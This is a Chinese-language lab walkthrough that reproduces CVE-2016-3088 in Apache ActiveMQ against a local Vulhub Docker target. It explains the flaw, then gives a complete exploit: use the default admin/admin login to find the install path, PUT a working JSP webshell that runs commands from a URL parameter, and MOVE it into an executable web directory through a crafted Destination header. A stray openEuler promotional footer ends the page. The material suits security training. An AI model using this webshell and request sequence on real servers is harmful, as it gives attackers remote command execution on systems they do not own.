一、漏洞描述

CVE-2016-3088 是 Apache ActiveMQ 的一个高危漏洞,主要存在于 5.0.0 到 5.13.3 版本的 Fileserver 应用中。该应用原本用于通过 HTTP 上传、管理消息队列的二进制文件,但由于其 PUT 和 MOVE 等 HTTP 方法未对目标路径做充分验证,导致攻击者可以结合文件上传文件移动操作,将任意文件写入服务器的可执行目录,最终获取服务器控制权。

漏洞核心原理
  1. Fileserver 允许匿名写入
    攻击者可通过 PUT 方法将文件上传到 fileserver 目录下。该目录虽然不解析 JSP 脚本,但允许任何类型的文件写入。

  2. MOVE 方法可任意移动文件
    Fileserver 的 MOVE 方法支持 Destination 头指定绝对路径,且未限制只能移动到自己目录内。攻击者可以将刚才上传的文件移动到 ActiveMQ 的 Web 应用可解析目录(如 webapps/api/ 或 webapps/admin/)。

  3. WebShell 执行
    一旦 WebShell 被移动到 api 等目录下,且文件后缀为 .jsp,则该目录会将其当作 JSP 脚本解析执行,从而实现远程命令执行。

该漏洞利用通常需要先获取 ActiveMQ 的安装绝对路径。攻击者可通过默认凭证 admin/admin 登录 Web 控制台,访问 systemProperties.jsp 页面查看 activemq.home 属性。即使无法登录,一些常见安装路径(如 /opt/activemq)也可直接尝试。

二、环境准备

kali作为攻击机,ubuntu中部署docker compose,并下载vulhub。

三、打靶流程

(一)部署靶场环境

进入 Vulhub 目录

# 路径根据你实际的vulhub安装位置确定
cd /root/vulhub/activemq/CVE-2016-3088
#进入root模式
sudo su

启动靶场

docker compose up -d

验证启动状态

docker ps

查看容器是否成功运行,应能看到端口 8161 和 61616 的映射。

(二)信息收集与漏洞验证

访问 Web 控制台:用 Kali 浏览器访问 http://<你的ubuntu IP地址>:8161/,看到 ActiveMQ 管理界面 即搭建成功。

登录后台:点击 "Manage ActiveMQ broker" 用默认凭据 admin/admin 登录

获取关键路径 (重要):登录后访问 http://<你的ubuntu地址>:8161/admin/test/systemProperties.jsp,在页面中查找 activemq.home 属性,记录下其路径(如 /opt/activemq),后续操作需用到此绝对路径。

验证 Fileserver 应用:访问 http://<你的ubuntu IP地址>:8161/fileserver/,若提示 HTTP ERROR: 404 Problem accessing /fileserver/. 或类似无权报错,而非 “应用未找到”,则证明 Fileserver 应用存在且可访问。

(二)漏洞利用

第一步:PUT上传WebShell(重要)

  • 原因:由于 fileserver 目录禁止上传 .jsp 后缀文件,必须先将 WebShell 伪装成 .txt 上传,再重命名。

  • 操作:Burp 开启拦截,浏览器访问 http://<你的ubbuntu IP地址>:8161/fileserver/1.txt。在 Proxy -> Intercept 中捕获请求,点击 Action -> Send to Repeater。在 Repeater 中修改包:

PUT /fileserver/1.txt HTTP/1.1
Host: <你的ubuntu IP地址>:8161
User-Agent: Mozilla/5.0 ...
Accept: */*
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Length: [注意:此值需根据实际Shell代码长度设置]

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = br.readLine()) != null) {
            out.println(line + "<br>");
        }
    }
%>

代码解释:这段 JSP WebShell 接收用户通过 URL 参数 cmd 传递的系统命令,然后在服务器上执行并返回结果。

关键:点击 Send,收到 204 No Content 响应即上传成功。

  • 验证:访问 http://<你的ubuntu IP地址>:8161/fileserver/1.txt,能看到 WebShell 源码但未被解析,说明上传成功但 fileserver 目录不解析 JSP。

第二步:MOVE移动文件(核心步骤)

  • 操作:在 Burp Repeater 中修改包为 MOVE 方法:

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/2.jsp
Host: <你的ubuntu IP地址>:8161
Connection: close
  • Destination 路径说明/opt/activemq/webapps/api/2.jsp 是能解析 JSP 的目录,必须以你在阶段二获取的 activemq.home 值为准

关键:点击 Send,收到 204 No Content 即移动成功。访问 http://<你的ubuntu IP地址>:8161/api/2.jsp?cmd=id,页面回显命令结果,即宣告复现成功。

四、完整攻击流程图

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐